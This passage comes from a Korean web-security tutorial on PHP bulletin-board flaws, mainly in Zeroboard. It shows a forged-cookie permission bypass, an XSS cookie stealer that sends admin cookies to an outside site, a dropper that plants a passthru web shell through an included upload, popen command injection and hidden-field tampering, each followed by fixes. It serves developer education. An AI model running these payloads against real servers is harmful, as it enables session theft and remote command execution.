LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.
member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.
먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면
zboard.php
1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)
앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.
if($setup[grant_list]<0&&!$is_admin)
어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.
만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
secret 게시판
15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........
1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.
이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.
view.php
1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.
위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.
그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.
1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
444 번 글
이름 : 이승진
제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..
2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.
주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.
게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.
가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.
trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.
trace.php 소스 설명 공격 설명
1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");
1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.
trace.php 의 실제 이용방법을 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;
결과 :
test1 게시판
[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)
2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.
keykind 의 종류는 다음과 같다.
keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo
위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
이라고 적으면 된다.
하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?
이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)
먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.
<?
system("echo -n \" <? passthru(\$\" > imnotj.php");
system("echo -n \"cmd); ?>\" >> imnotj.php");
echo "<font size=5>keke";
?>
<? passthru($cmd); ?>
이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.
자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.
만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)
그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.
그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)
그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.
어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.
자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..
java-script 로 쿠키를 빼오는 스크립트
-----------------------------------------------------------------------------
1 <script language=java-script>
2 window.open("http://beist.org/test.php?cook="+document_.cookie);
3 </script>
4 HELLO ADMIN!
-----------------------------------------------------------------------------
1 번째 라인은 java-script 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document_.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.
sample CGI script
echo.php
<? echo "hello $insu"; ?>
위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는
hello beist
라는 문자열을 되돌려준다.
쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
현재 웹브라우저의 cookie 값이 담겨 있는 document_.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
(zetyxboard_password 의 값은 임의로 설정한 값이다.)
이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.
test.php
<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cook\n");
?>
간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.
넘어온 쿠키값이 만약
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
라고 하면 /tmp/zerohack.txt 에는
제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
이 담기게 될것이다.
이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.
여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
어쩌고.. 저쩌고..
.................
.................
(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)
설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.
그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.
위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.
이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.
ex)
http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody
이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.
해결책을 알아보자.
쿠키 스니핑
먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.
거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.
eregi_replace("<", "<", $comment);
이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.
쿠키 스푸핑
Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.
필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.
위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.
예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.
여기서는 간단하게 소스를 만들어보겠다.
$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));
하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.
그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.
잘못된 알고리즘
여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.
$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}
Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
10) CGI admin 메뉴 주의할점
이번에는 Web CGI 에서 Admin 메뉴를 다룰 때 주의해야 할 점들을 설명
하겠다. Web CGI 에는 대부분 Admin 메뉴 (혹은 기능이) 가 존재한다.
간단하게 방명록, 자료실부터 시작하여 자료 관리 같은 기능이라던지 여러
CGI 에는 Admin 메뉴가 거의 필수이다.
Admin 을 인증하는 방법에는 어떤 것이 있을까. 각 Page 의 앞부분에 Admin
인지 아닌지 체크하는 문법을 넣을 것이다. (조금 더 자세한 인증 방법은
8 번 장을 참고하여라)
다음은 Admin 알고리즘 사용시 주의해야 할 것들이다.
1. Admin Cookie 세팅시에 암호화 사용
2. IP 를 가져와 인증에 사용
3. Cookie Sniffing 못하게 막음
위의 조취를 취했는데도 Cracker 가 Admin 을 획득하였을때에 대한 대비를
알아보겠다.
Cracker 가 Admin 을 땄어도 Cracker 가 할 수 있는 일을 최소화 시켜야
한다. 즉, 본래의 CGI Admin 으로서 불필요한 기능은 CGI 에 넣지 말라는
것이다.
예를 들어 Board 에서 Header 와 Footer File 지정에 대해서 알아보자.
(이 것은 게시판의 머리말과 꼬리말에 들어갈 말을 미리 File 로 정해
놓는 기능이다.)
대부분의 Board 에서는 이런 식으로 처리한다.
include "$header_file";
(여기서 $header_file 은 Admin 이 Web 상에서 지정해줄 수 있다고 가정한다.)
만약 Cracker 가 Admin 을 획득 후 header_file 을 /etc/passwd 로 지정
한다면 게시판의 머리말에는 해당 Server 의 passwd File 이 그대로 보이게
될 것이다.
그리고 Cracker 가 악의적인 기능을 하는 일반 Text File 을 올린 후, 그것을
include 하면 그것은 정상적으로 돌아가는 PHP File 이 된다.
(include 시에 제한하는 확장자는 없다는 것을 알아두자.)
이러한 문제점을 극복하려면 어떻게 해야할까.
$fp=fopen("$header_file", "r");
while(!feof($fp))
{
$msg .= fgets($fp,100);
}
$msg=nl2br($msg);
echo $msg;
위의 방법에서는 Source 를 include 하지 않고, read 한 후 echo 를 하는 방법을
사용하였다. (물론 이렇게 하였을때 정상적인 php 파일을 include 하면, 돌아가지
않는다는 단점이 있다.)
이러한 Admin 기능 말고도 제한하여야 할 기능들은 많이 있다. 가령, Web Root
Directory 밖은 벗어나지 않게 한다던지, System Command 를 이용할 수 없게끔
한다던지 하는 것들이 있다.
여기에서는 Board 를 예를 들어서 설명을 하였는데, 개발자라면 이 글을 보고
Admin Menu 에 어떤 기능을 제한해야 할것인가, 어떻게 하면 Server 의 다른 부분
에 접근하는 것을 최소화 할 것인가, 하는 방법들을 떠올릴 수 있을 거라 생각하고
이 장을 여기서 접겠다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
11) popen 함수의 주의할점
PHP 에서 popen() function 은 Process File Pointer 를 open 하는 것이다.
함수의 원형은 다음과 같다.
int popen(string command, string mode);
fopen 함수와 다른 점은 이 것은 file 이 아닌 Process 를 open 한다는 것이다.
(물론 OS 내부적으로는 File 이나 Process 나 크게 다르지 않게 처리된다.)
그리고 읽거나 쓰기 둘중에 하나만 선택할 수 있는 단방향 Pointer 이다.
string command 를 인자로 popen 을 불르면 command 안에 담긴 내용을 Server 에서
실행하게 된다. 하지만 이 Function 역시 system, exec 함수와 같이 잘못 사용할시에는
서버에 심각한 Security Hole 을 만들게 한다.
실제로 존재하는 CGI 의 취약성을 대상으로 설명을 하겠다. engdic 이라는
프로그램으로 Web 에서 영어사전 기능을 하는 프로그램이다.
engdic 에서 중요 취약성이 되는 부분만을 뽑아내어 설명하였다.
engdic.php
1 if($mode== 'search')
2 {
3 // $word를 아규먼트로 하여 edic을 실행하여 결과값을 $fp 에 저장합니다.
4 $fp = popen( "/usr/bin/edic_ $word", "r");
5
6 // $fp 의 EOF를 만날때까지 값을 읽어들여 edic_str 에 추가를 합니다.
7 while(!feof($fp))
8 {
9 $edic_str .= fgets($fp,100);
10 }
11 pclose($fp);
12 // return 값을 <br> 로 바꾼다.
13 $edic_str = nl2br($edic_str);
14 // 화면에 출력을 한다.
15 echo( "
16 <table border='0' cellpadding='2' cellspacing='0' width='70%'>
17 <tr>
18 <td width='90%'><p><br>
19 <font size='2'>$edic_str</font></td>
20 </tr>
21 </table>");
22 }
/* 쉽게 설명하기 위해 각 줄의 앞에 번호를 달았다. 처음 if 문은 무시하자.
4 번째 라인에서 popen 함수를 이용하여 /usr/bin/edic 프로그램을
open 하려 했다. edic 프로그램의 argument 를 $word 라는 변수로 주었다.
7 번째 줄부터는 popen 으로 연 pointer 를 $edit_str 에 담고 출력한다. */
위의 코드에서 취약한 부분은 4 번째 줄이다. popen 을 할때 /usr/bin/edic 을
실행시키는데 $word 가 인수로 들어가게 된다. $word 는 사용자로부터 입력받는
변수이다. 예를 들어 검색폼에 사용자가 help 라고 한다면, help 에 맞는 뜻을
사용자에게 돌려주게 된다. /usr/bin/edic 을 이용하여 help 의 뜻을 검색하는
것이다. process open 은 shell 을 이용하게 된다. shell 에서 ; 와 | 는 각각
연속 실행, 연결 실행을 의미한다.
그래서 만약에 cracker 가
http://server/engdic.php?word=help;/usr/bin/touch /tmp/imbeist
라고 요청을 한다면 help 라는 단어를 /usr/bin/edic 에서 찾고 세미콜론으로
구분된 뒤의 /usr/bin/touch /tmp/imbeist 를 실행하게 된다. /usr/bin/touch
의 기능은 그 file 의 갱신일을 갱신하는 기능인데 만약에 file 이 없다면
파일을 새로 생성하게 된다. 그러면 파일이 생겼는지 확인을 해보자.
$ ls -al /tmp/imbeist
-rw-rw-rw- 1 nobody nobody 6 Dec 5 03:25 imbeist
생성이 되었다. cracker 는 서버에 명령을 실행시킬 수 있으므로 자신에게
term 을 뛰우던가 port 를 하나 열어서 backdoor 를 만들수도 있을 것이고
일단 shell 을 내준 이상 local 을 점령하는건 그리 어려운 일은 아니다.
해결책을 알아보자.
위의 해결책에는 여러가지 방법이 있다. 위의 상황일때는 앞에 escape 문자를
붙여서 세미콜론을 무시하는 방법도 있겠지만 나는 다른 방법을 추천한다.
예를 들어 $word 변수에는 ; 와 | 가 있을 이유가 없다. (단어에 ; 나 | 가
들어가는 단어가 있는가?)
그래서 $word 변수에 ; 와 | 가 있다면 일단 의심을 해야한다. 만약에 두
문자가 존재한다면 script 실행을 중지하자면
if(ereg(";", $word))
{
echo "장난하니..";
exit;
}
if(ereg("|", $word))
{
echo "장난하니..";
exit;
}
ereg_replace 를 이용하여 ; 나 | 를 "" 빈칸으로 만드는 방법도 괜찮다.
나는 개인적으로 이러한 문제를 처리할때 미연에 방지하는 것이 (예를 들면
스크립트 중지) 좋은 방법으로 생각한다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
12) html hidden 사용시 주의할점
이번 주제에서 다룰 내용은 HTML 에서 hidden type 에 관한 내용이다.
때때로 어떤 CGI 들은 <input type=hidden> 을 이용하여 어떤 DATA 를 숨겨(?)
놓는 경우가 있다. 이는 매우 위험한 방법이고 어떤 경우에는 심각한 Security
Hole 을 일으킬 수도 있다.
먼저 간단한 경우부터 살펴보자.
Spboard 4.5 버전 이하에서는 글쓴이의 IP 를 입력받을 때 사용자가
writeform 을 요청했을때의 IP 를 기준으로 hidden 에 심어놓는다.
(아래에서 설명하는 소스들은 BUG 를 설명하는데 이해하기 쉽도록 PHP 로
바꿔서 설명하였다.)
sample1.html
<html>
<head>
<title>spboard 글쓰기 폼</title>
</head>
<body>
<form action=board.php method=post ENCTYPE="multipart/form-data">
<input type=text name=name>
<input type=text name=subject>
<textarea name=comments></textarea>
<input type=hidden name=id value=test>
<input type=hidden name=action value=write>
<input type=hidden name=ip value=192.168.0.5>
<input type=submit value=글쓰기>
</form>
</body>
</html>
board.php
<?
/* 생략 */
$fp=fopen("$count.txt", "w");
fputs($fp, $ip);
/* 생략 */
?>
html 에서 보다시피 ip 가 hidden 으로 들어가 있다. 이런 상황일때 Cracker 는
임의로 ip 에서 value 값을 수정하여 board.php 로 데이터를 보낸 후 글쓰기를
시도할 수 있을 것이다. board.php 에서는 사용자가 넘긴 변수인 $ip 를 가지고
data 를 처리하기 때문이다.
만약 ip 를 국가기관쪽으로 돌려서 나쁜 내용의 글을 쓴다거나 악의적인 행동을
할수도 있을 것이다. 이런 버그의 류에서 이 방법은 애교에 불과하다.
어떤 경우에 따라서는 System Command Execute 까지 가능한 심각한 Security
Hole 을 불러올 수도 있다.
그럼 이번엔 다른 경우를 알아보자.
예를 들어 포탈 사이트에서 쪽지 기능을 하는 경우로 하자. 이 포탈 사이트에서는
쪽지 database 를 File db 를 사용하고 있다고 가정하자.
쪽지 보내기 html form 을 보자.
<html>
<head>
<title>이 것은 쪽지 보내기 폼입니다.</title>
<body>
<form action=memo.php method=post>
받는이 : beist<br>
쪽지 내용 : <textarea name=comment></textarea><br>
<input type=hidden name=directory value="user/memo">
<input type=hidden name=rfile value="recv.txt">
<input type=hidden name=ruid value=11111111>
<input type=hidden name=rserver value=memo1.server>
<input type=hidden name=rid value=beist>
<input type=hidden name=suid value=22222222>
<input type=hidden name=sserver value=memo2.server>
<input type=hidden name=sid value=testid>
<input type=hidden name=sfile value="send.txt">
<input type=submit value=쪽지보내기>
</form>
</body>
</html>
Hacker 나 Cracker 라면 이 소스를 보고 무엇인가 감을 잡았을 것이다. hidden
으로 이런 정보를 보내는 것으로 보아 memo.php 에서는 hidden 에서 보내는 값을
신뢰하여 쪽지 data 를 처리하는 것이라고 말이다.
한번 테스트를 해보자.
[요청]
http://memo1.server/user/memo/11111111/recv.txt
[결과]
beist 님 안녕하세요?
승진 안녕?
야 임마~
예상대로이다. hidden data 에 있는 rserver 로 접근을 하고, directory 와
ruid 에 있는 대로 접근을 하니까 우리는 상대방의 쪽지를 볼 수도 있었다.
(여기서는 이해를 쉽게 하기 위해 hidden data 에 최대한 많은 정보를 수용
하게끔 소스를 작성한 것이고, 실제로는 저렇게 자세한 정보를 포함하지는
않지만 조금만 연구하면 위의 테스트와 같은 결과를 얻을 수 있다.)
또 send.txt 를 요청하면 상대방이 다른 사람에게 보낸 메모들이 어떤 내용이
있는지 알 수 있을 것이다.
[요청]
http://memo1.server/user/memo/11111111/send.txt
[결과]
나 승진인데~ 요즘 잘지내니?
야 임마~ 연락좀 해~!
성공이다. 상대방의 send.txt 와 recv.txt 를 보는 방법이외에도 suid 나
sid 등을 조작하여 내가 보내지 않은 것처럼 위조도 가능할 것이다.
또, rfile 이나 sfile 을 조작하여 시스템의 다른 file 들도 read, write 가
가능할 것이다. (권한만 가능하다면 말이다.)
조금 더 응용을 하여보면 System Command Execute 까지 어렵지 않게 가능하지만
이 문서는 Cracking 방법이 아니니 여기서 설명을 접도록 하겠다. 간단히 설명
하자면 rfile 을 바꾼 후에, memo 내용에 악의적인 스크립트의 내용을 담으면
되겠다.
해결책을 알아보자.
우리는 이런 버그를 통해서 hidden 에 중요한 data 를 넣으면 보안에 심각한
문제가 발생할 수도 있다는 것을 알아보았다.
이 문제를 해결하는 가장 좋은 방법은 다음과 같은 인식을 갖는 것이다.
'사용자가 보내온 data 를 100% 신뢰하지 말아라.'
첫번째 spboard 같은 경우에는 board.php 에서 다음과 같이 수정하면 될 것이다.
<?
/* 생략 */
$ip=$REMOTE_ADDR;
$fp=fopen("$count.txt", "w");
fputs($fp, $ip);
/* 생략 */
?>
$REMOTE_ADDR 은 환경변수로, 접속한 사용자의 IP 를 뜻한다.
두번째 쪽지 문제의 경우 해결법을 살펴보자.
먼저, hidden 에서 directory 와 rfile, sfile 는 사용자 html hidden 으로 주지
말고 memo.php 에서 정의해두자.
$directory="user/memo";
$rfile="recv.txt";
$sfile="send.txt";
이렇게 해두면 rfile 과 sfile 은 사용자 마음대로 바꿀수 없게 될 것이다.
그리고 보내는이에 대한 모든 data 는 Cookie 나 Session 을 이용하도록 하자.
Session 에 사용자의 id 나 uid 를 저장시켜놓은 후에 가져오는 것이다.
rserver 는 다음과 같은 문법 등으로 database 에서 가져오도록 하자.
select rserver from user_rserver;
이렇게 하면 보내는 이나 받는 이에 대한 정보 조작은 어느 정도 해결이 될 것
이다. 이렇게 하면 cracker 는 쪽지에 대한 경로를 모를 것이다. 하지만
cracker 가 쪽지에 대한 경로를 brute force 라도 해서 알아버렸다고 가정하였을때
의 대처법도 알아보자.
먼저 쪽지 내용이 담기는 file 이 놓인 디렉토리에 특정 설정을 한다. 그 설정이란
httpd.conf 에서 그 디렉토리 밑에 있는 것은 읽지 못하도록 설정하는 것을 말한다.
(httpd.conf 는 Webserver 의 한 종류인 Apache 의 설정 File 을 말한다.)
httpd.conf
<DirectoryMatch "^/.*/user/memo">
AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py
Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</DirectoryMatch>
이렇게 하면 user/memo 디렉토리 밑에 담기는 file 들은 Web 에서 바로 읽을 수가
없게된다.
[요청]
http://memo1.server/user/memo/11111111/recv.txt
[결과]
Forbidden
You don't have permission to access /user/memo/11111111/test.txt on this server.
Web 에서 바로 읽을 수 없게 설정을 해놓았으니 특정 스크립트를 만들어서 File 을
뿌려주도록 하자.
if(file_exists($file_path))
{
$filesize = filesize($file_path);
if(strstr($HTTP_USER_AGENT,"MSIE")) {
header("Content-Type: doesn/matter\r\n");
header("Content-Disposition:filename=$filename_link\r\n\r\n");
header("Content-Transfer-Encoding: binary\r\n");
header("Pragma: no-cache");
header("Expires: 0");
}
else
{
